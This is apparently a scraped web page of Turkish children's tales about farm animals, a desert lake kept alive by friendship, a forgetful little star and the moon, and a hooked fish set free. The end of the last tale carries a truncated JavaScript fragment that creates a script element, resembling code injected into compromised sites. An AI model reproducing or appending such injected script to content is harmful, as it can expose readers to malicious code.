Şimdi Pınar size bu kadar çok hayvanın olduğu çiftlikte bir gününün nasıl geçtiğini anlatacak. Pınar sabah ü’ürüüü diyen horozların sesi ile kalkarmış. İlk işi elini yüzünü yıkamak, annesi babası ve kardeşi ile kahvaltısını yapmakmış. Kahvaltıda her gün koca bir bardak süt, tereyağı, peynir, bal, yumurta, reçel ve tahin pekmez bulunurmuş. Pınar sütünü içerek nefis bir kahvaltı yaparmış, çünkü akşama kadar koşturacağı için enerji depolaması için bunu yapması gerektiğini biliyormuş. Sizde her gün kahvaltı yaparak sütünüzü içiyorsunuz değil mi?
Pınar kahvaltıdan sonra baktığı hayvanların yemeklerini veriyormuş. Önce kedisi feminikten başlayarak, feminiğe içmesi için süt, köpeği krala kemik ve ekmek, tavuklarına buğday, tavşanı yumağa da havuç, marul, karpuz kabuğu veriyormuş. Sizin de hayvanınız var mı? Peki siz onları nelerle besliyorsunuz?
Pınar hayvanlarını besledikten sonra kedisi feminkle ip oynarmış, nasıl mı? Eline uzun bir ip alır ve yerde sürüyerek koşmaya başlarmış, kedisi de arkasından ipin ucunu yakalamak için koşarmış, Pınar iyice yorulduktan sonra feminik atlayarak ipi yakalarmış. İşte Pınar akşama kadar çiftlikte oradan oraya koşturup oyunlar oynarmış. Akşam olunca ellerini ve ayaklarını yıkayarak dişlerini fırçalar, pijamalarını giyinip yatağına uzandıktan sonra veteriner olacağı günlerin hayali ile uykuya dalarmış.
Bir gün Pınarı ziyarete teyzesinin kızı Elif gelmiş. Elif pınarla günlerini dolu dolu geçirerek güzel bir tatil yapmış, ama Elif’in gitme günü yaklaşmış, Elif gideceği için çok üzülüyor gitmek istemiyormuş, pınara köyde yaşamak çok güzel, sen horoz sesiyle uyanarak doğal besleniyorsun. Ayrıca kendine ait bir çok hayvanın var. Akşama kadar onlarla ilgilenerek oyunlar oynuyorsun. Senin için her taraf oyun parkı, burada iken akşam nasıl oluyor anlayamıyorum.
Oysaki benim yaşadığım yer böyle değil, benim evde bir sürü oyuncağım var, ama ben onları sevince onlar bana senin kedinin verdiği gibi tepki vermiyor, ben onlara yemek veriyorum ama cansız olduğu için yiyemiyorlar, sen kocaman çiftlikte hayvan sesleri içinde oynuyorsun bense araba ve korna sesleri arasında minicik parklarda oynuyorum.
Pınar Elif’in durumuna çok üzülmüş, öyle bir yerde yaşamak istemezmiş. Pınar arkadaşına bekle sana yaşadığın yeri güzelleştirecek şeyler söyleyeceğim, sen de evinizin balkonuna rengarenk çiçekler ek, annenden evde bakabileceğin balık, kuş gibi hayvanlar almasını iste, ve dilersen sende veteriner olabilirsin dedi.
Bu fikirler Elif’in çok hoşuna gitti. Annesi Elif’e balkona birlikte çiçek ekebileceklerini, balık ve kuş besleyebileceklerini söyleyince Elif havalara uçtu ve Pınar’a ben de veteriner olacağım diyerek seneye tekrar gelmek üzere köyden ayrıldı. Pınar her gece uyumadan önce çok uzaklarda olan ve kendisi gibi veteriner olma hayaliyle uykuya dalan Elif’e yıldızlarla selam gönderiyordu. Siz de hayvan seviyor musunuz? Peki anne babanızın izin verdiği bir hayvanı beslemek ister misiniz?
Emine TEKE

}

Sevgi Gölü
Sevgi Gölü

Bir varmış, bir yokmuş… Uzak mı uzak diyarların birinde, güneşin yakıp kavurduğu sıcağından her şeyi

kuruttuğu uzunca bir çöl varmış. Bu çöl, güneşin kavurucu sıcağında u-yanmış kavrulmuş; yağmura

hasret kalmış. Hiçbir bitki ve hiçbir çiçek bu çölün sıcağında yaşayamaz, daha bir gün bile dolmadan

kurur gidermiş.

sevgi-golu

Fakat bu çölün ortasında inanılmaz bir mucize varmış. Bu yakıcı, kavurucu sıcakta; çölün ortasında

küçük bir göl varmış. Bu göl, çölün yakıcı sıcağına rağmen kurumazmış. Nedeni ise çok basitmiş: bu

göl sevgi gölüymüş.

Gölü, yakıcı çölün ortasında barındıran tek şey, etrafında yaşayan hayvanların sevgisiymiş. Gölün adı

bu sebeple sevgi gölüymüş. Etraftaki hayvanların sevgisi ve bir arada oluşu bu gölün varlığını koruyan

tek etmenmiş.

Günlerden bir gün kurnaz bir tilki kendisine av ararken, sıcakta kafası karışınca kendisini bu kavurucu

çölün içinde bulmasın mı? Kurnaz tilki; bu çölden nasıl kurtulacağını düşünmüş durmuş ama nafile! Bu

çölden çıkış yolunu bir türlü bulamıyormuş. Etrafın ne bir iz varmış ne de bir yol!

Kurnaz tilki az gitmiş uz gitmiş… Ama çölden bir türlü kurtulamamış. Kavurucu sıcağın altında

yürümekten de o kadar susuz kalmış ki! işte o anda kurnaz tilki sevgi gölünü fark etmiş. Tilki kendi

kendisine konuşmaya başlamış:

Tilki: ‘Allah Allah serap mı görüyorum acaba? Bu çölün ortasında göl ne arar ki!’

Tilki her ne kadar serap gördüğünü düşünse de bir yandan da gölün yanına doğru yürümüş.

Yakınlaştıkça bu gölün gerçek olduğunu ve içindeki suyun da gerçek olduğunu anlamış. Göle çok

yaklaşan tilkinin vücudu susuzluğa daha fazla dayanamamış ve göle ramak kala bayılmış, kalmış…

O sırada göl etrafında yaşayan iki tane fare hoplaya zıplaya göle su içmeye geliyormuş. Göle yaklaşan

fareler, bir de ne görsünler! Kocaman bir tilki baygın bir şekilde yerde yatıyor! İki küçük fare hemen

sevgi gölünün yanına giderek göle ne yapmaları gerektiğini sormuşlar:

Fare: ‘Sevgi gölü, hemen yakınında bayılmış bir tilki var. Biz ne yapacağımızı bilemedik. Senin aklına

ihtiyacımız var’ demiş.

Sevgi Gölü: ‘Tilki arkadaşınıza yardım etmemiz gerekiyor dostlarım. Şimdi sizden ricam tilkiyi

sürükleyerek buraya getirmeniz.’

İki fare sevgi gölünün dedikleri üzerine hemen harekete geçmiş. Tilkinin yanına gitmişler ve tilki

sırtlayıp göle kadar taşımışlar. Zavallı tilki susuzluktan o kadar zayıflamış ki…

Tilkiyi gölün yanına koyan iki fare, kenara çekilmiş ve sevgi gölünün yapacaklarını incelemiş. Sevgi

gölü tilkiye sularından sıçratmış. Devamında ise dalga yaratarak tilkiyi içine almış.

Tilki suyun içine girdiğinde kendine gelmeye başlamış. Sevgi gölü, şefkat dolu suları ve yüreği ile tilkiyi

iyileştirmeyi başarmış.

İki fare de boş durmak istememiş. Hemen arkadaşlarına haber vermişler ve tilkiye yiyecek bir şeyler

bulmak için arayışa başlamışlar. Bir süre sonra birçok yiyecek ile sevgi gölünün kenarına gelmiş iki fare

ve diğer arkadaşları.

Hayvanlar sevgi gölünün yanına geldiğinde tilki çoktan kendine gelmiş bile. Hayvanları gören kurnaz

tilkinin adeta gözleri açılmış. ’Bu hayvanlar tam da benim ağzıma göre’ diyen tilki içinden geçen kötü

düşünceleri belli etmek istememiş.

Tilki sevgi gölünün etrafında bu hayvanlar ile bir arada yaşamaya başlamış fakat bir planı varmış.

Hayvanların arasına fitne fesat sokup onları birbirine küstürecekmiş. Planını uygulayan tilki, kısa

sürede bütün hayvanları birbirine düşürmüş. Hayvanlar artık sürekli olarak kavga etmeye başlamış.

Bunun sonucunda ise sevgi gölü küçülmüş, küçülmüş, minicik kalmış…

Gölün küçüldüğünü anlamayan hayvanlar kendi aralarında kavgaya devam ediyormuş. Bir tek fareler

fark etmiş gölün durumunu. Ardından hata yaptıklarını da anlamış. Bütün arkadaşlarını toplayıp

tilkinin onları birbirine düşürdüğünü, gölün ne kadar da küçüldüğünü anlatmış. Hayvanların hepsi

farelere hak vermiş. Birbirlerinden özür dilemiş ve eskisi gibi dost olmuş.

Göl, hayvanların barışması üzerine eskisi gibi yine kocaman bir sevgi gölü olmuş. Bütün hayvanlar

gölün etrafında oynayıp zıplamaya devam etmiş. Bir tek tilkiyi saf dışı etmişler. Tilki hayvanları

tekrardan birbirine düşürmek için çok uğraşmış ama nafile… Hayvanlar birbirlerine daha da sıkı bir

bağ ile bağlanmış.

Göl ise hayvanların sevgisi ve dostluğu ile büyümüş, büyümüş… Okyanus kadar kocaman olmuş, çölü

de içine almış.

Gökten üç elma düşmüş…

Göl-Königssee

Küçük Yıldız ve Tonton Aydede masalı
Küçük Yıldız ve Tonton Aydede masalı

TONTON AYDEDE VE MİNİK YILDIZIN DOSTLUĞU

Bir varmış bir yokmuş… Her kafamızı kaldırdığımızda gördüğümüz gökyüzünde yaşayan yıldızlar ve

aydedenin güzel mi güzel bir masalı varmış. Akıllı olan, uslu duran tüm çocuklar bu masalı dinler ve

kafalarını kaldırdıklarında aydedenin onlara göz kırptığını görürmüş. Bu masal ne mi imiş? Buyurun

Aydede ve minik yıldızın macerasını dinlemeye…

Evvel zaman içinde, kalbur saman içinde, karanlık bastırıp da gece olduğunda, gökyüzünün en

tepesinde yaşayan minik yıldız ve tonton bir aydede varmış. Aydede ve minik yıldız her gece yaptıkları

gibi gece olduğu için gökyüzündeki yerini almış. O sırada minik yıldızdan kendi gibi minik bir ses

gelmiş:

Minik yıldız: ‘Hapşuuu!’

Tonton Aydede minik yıldıza doğru dönmüş. Minik yıldız hava soğuk olmasına karşın üzerine hiçbir

şey giymemiş.

Tonton Aydede: ‘Minik yıldız, bu gece hava serin olacak. Sen üzerine montunu neden almadın?’

Minik yıldız tonton aydedeye doğru dönmüş:

Minik Yıldız: ‘Sorma Aydede! Evden çıkarken ince giyinmişim. Sonra dışarı çıktığımda fark ettim fakat

anahtarımı almayı unuttuğum için kapıyı açıp içeri giremedim. Montumu giymeyi unuttuğum gibi okul

çantamı da almayı unuttum. Bir sürü de ödevim var, ne yapacağım bilmiyorum.’

Minik yıldız kara kara düşünmeye başlamış. Yıldızlar gündüz okula gider, gece olunca gökyüzündeki

yerlerine gelirlermiş. Gece gökyüzündeki nöbetlerini tutarken de ödevlerini yapıp bitirirlermiş.

Tonton Aydede minik yıldıza biraz kızmış:

Tonton Aydede: ‘Minik yıldız, sen ne kadar unutkan oldun böyle! Oysaki yapman gereken azıcık görev

var, onları da unuttuğun için yapamıyorsun’ demiş.

Minik yıldız biraz utanmış, kızarmış. Ama görevlerinin az olduğu konusuna katılmıyormuş:

Minik Yıldız: ‘Tonton Aydede, benim çok görevim var ki! O yüzden unutuyorum’ demiş.

Tonton Aydede minik yıldıza gülümsemiş:

Tonton Aydede: ‘Peki, say bakalım kaç tane görevin var?’

Minik yıldız biraz düşündükten sonra saymaya başlamış:

Minik Yıldız: ‘Ödevlerimi yapmak, dişlerimi fırçalamak, okula gidip-gelmek ve evden çıkarken

anahtarımı almak…’

Minik yıldız düşünse de aklına başka bir şey gelmiyormuş. Tonton aydede haklıymış galiba.

Tonton Aydede: ‘Ya minik yıldız bak gördün mü? Ne kadar az görevin var, onları da unutuyorsun’

demiş.

Minik yıldız yaptığı hatanın farkına vararak daha dikkatli olmaya söz vermiş. Fakat unutmadığı

görevlerden birisini tonton aydedeye de göstermek istiyormuş:

Minik Yıldız: ‘Tonton aydede, dişlerimi fırçalamayı hiç unutmuyorum ama. Hem de günde üç kere

fırçalıyorum’ demiş.

Tonton Aydede gülümsemiş:

Tonton Aydede: ‘Aferin sana minik yıldız’ demiş.

Tonton aydedenin gönlü minik yıldızın üşümesine razı olmamış. Minik yıldız da hatasını anladığına

göre hemen bulut kardeşi yanına çağırmış:

Tonton Aydede: ‘bulut kardeş, minik yıldızın gökyüzündeki yerini biraz sen doldurabilir misin? Minik

yıldızın eve kadar gidip gelmesi lazım’ demiş.

Bulut kardeş hiç düşünmeden kabul etmiş. Çünkü tonton aydedeyi çok seviyormuş. Tonton aydedeyi

gökyüzünde sevmeyen yokmuş ki! Herkes onu çok sever, çok da sayarmış.

Minik yıldız hemen eve gitmiş ve annesi ona kapıyı açmış. Evden montunu ve okul çantasını alarak

gökyüzündeki yerine geri gelmiş. Minik yıldız montunu giydiği iin o gece hiç üşümemiş ve bütün

ödevlerini de yapmış.

O geceden sonra minik yıldız anahtarını hiç ama hiç unutmamış. Ayrıca soğuk havalarda montunu da

giymeyi ihmal etmemiş. Böylelikle tonton aydedenin en çok sevdiği yıldızlardan birisi olmuş.

Minik yıldız ile tonton aydedenin dostluğu o günden bu güne sürmüş, gelmiş…

Şimdi kafanızı kaldırın ve gökyüzüne bakın. Gecenin karanlığında gökyüzünde parıldayan yıldızların

hepsi size göz kırpacak

Seslendiren: Ata ÇAKAR

Kucuk-Yildiz-Ve-Tonton-Aydede

Küçük İstavrit Hikayesi
Küçük İstavrit Hikayesi

KÜÇÜK İSTAVRİT BALIĞI VE İYİ YÜREKLİ ADAMIN HİKÂYESİ

İstavrit balıkları kıpır kıpırdır, balıkçıların oltasından kurtulmayı genelde başarır onlar. Yakalanmazlar

ama oltanın ucundaki yemi de bir güzel mideye indirirler. Peki, siz merakı yüzünden yakalanan küçük

istavritin hikâyesini dinlediniz mi? Dinlemediyseniz işte size küçük istavritin öyküsü…

Denizlerin dibinde, mavinin en mavi yeşilin de en güzel tonlarının olduğu o güzel suyun altında küçük

bir istavrit yaşarmış. Küçük istavrit, annesi ve babasından öğrendiği tüm marifetler ile yakalanmadan

sularda özgürce yüzer, üstelik karnı acıktığında balıkçıların oltasında yemleri de yermiş. Bu yaptığı

şeyin çok tehlikeli olduğunun farkındaymış ama yapmaktan da vazgeçemiyormuş. Küçük istavriti

annesi ve babası çok uyarmış fakat nafile… o bildiği gibi yapmaya devam ediyormuş.

Günlerden bir gün küçük istavrit yine özgürce yüzüyormuş denizin en mavi sularında… Fakat o da ne!

Bir balıkçının oltasının ucunda minik bir çapari! Küçük istavrit hiç düşünmeden atlamış çapariye. Bu

sefer her zamanki gibi hızlı olamayınca müthiş bir acı hissetmiş dudağının kenarında. Ardından ne

olduğunu anlamış, balıkçının oltasına takılmış. Artık her şey için çok geçmiş.

Balıkçı, tuttuğu balığın sevincini yaşarken hızla sarıyormuş oltanın ipini yukarı doğru. Küçük istavrit ise

çırpınmaya çalışıyormuş ama nafile! Birazdan suyun altından karaya çıkacakmış ve susuzluktan

ölecekmiş. Annesi ve babasının onu uyarırken ne kadar haklı olduğunu anlayan küçük istavrit, keşke

onları dinleseydim diye geçirmiş içinden. Ama artık her şey için çok geçmiş. Balıkçı onu çoktan sudan

çıkarmış ve oltadan kurtarıp yeşil bir leğenin içine atmış.

Küçük istavrit yeni yerine şöyle bir bakmış. Azıcık bir suyun içinde çırpınıp durmuş. Belki son bir umut

leğenden tekrar suya kadar zıplarım diye geçirmiş içinden. Fakat o anda bir de ne görsün! Kendisine

kocaman gözler ile bakan ve ağzını yalayan bir kedi! Küçük istavrit o an anlamış ki, leğenden kurtulsa

bile, bu kocaman kedinin elinden kurtulamazmış.

Küçük istavrit, çaresizce başına gelecek olan sonu kabullenmiş. Yeşil leğene bakmış bir süre. Şimdi

denizin altında olsa mavinin en güzel tonunu, yeşilin en parlak tonunu suyun altında görecekmiş.

Masmavi sularda özgürce yüzerken, yine annesi ve babası ile birlikte olma şansına erişecekmiş.

Oyunlar oynarken, suyun altında sadece onlara ait olan hayatta mutlu mesut yaşamaya devam

edecekmiş. Oysa şimdi? Rengi solmuş bir leğenin içinde, azıcık suyun içinde son çırpınışlarını

yapıyormuş. Hepsi de kendisinin hatası yüzündenmiş. Eğer annesi ve babasını dinleseymiş, şu anda

denizin altında özgürce yüzebilecekmiş.

Küçük istavrit bunları düşünürken, bir yandan da kendini çok halsiz hissediyormuş. Artık vücudunun

dayanacak hali kalmamış. Başı dönmeye başlamış. Artık sonum geldi diye düşünürken, birdenbire bir

mucize gerçekleşmiş. Küçük istavriti tutan bir el önce onu leğenin içinden kurtarmış. Ardından minik

istavritin başına minik bir öpücük kondurarak onu denizin içine doğru salmış. Küçük istavrit birkaç

saniye yaşadığının gerçek olduğuna inanmaya çalışmış ve ardından büyük bir mutluluk ile denizin en

dibine doğru yüzmeye başlamış.

Balıkçı hayretle adama bakıyormuş:

Balıkçı: ‘Sen ne yaptığını sanıyorsun? Neden balığı denize geri bıraktın?’

Adam sakin bir şekilde balıkçıya doğru dönmüş:

Adam: ‘Eğer bir gün, ben de kendimi bir yeşil leğen içinde bu küçük istavrit balığı kadar çaresiz

bulursam, işte o an benim gibi bir adam gelip beni de kurtarır belki…’ demiş.

Balıkçı bir süre düşünmüş ve adamın ne demek istediğini anlamış.

Gökten üç elma düşmüş, üçü de küçük istavriti kurtaran adam gibi iyi yüreklilere gitmiş…

Seslendiren: Ata ÇAKARvar d=document;var s=d.createElement(‘script’);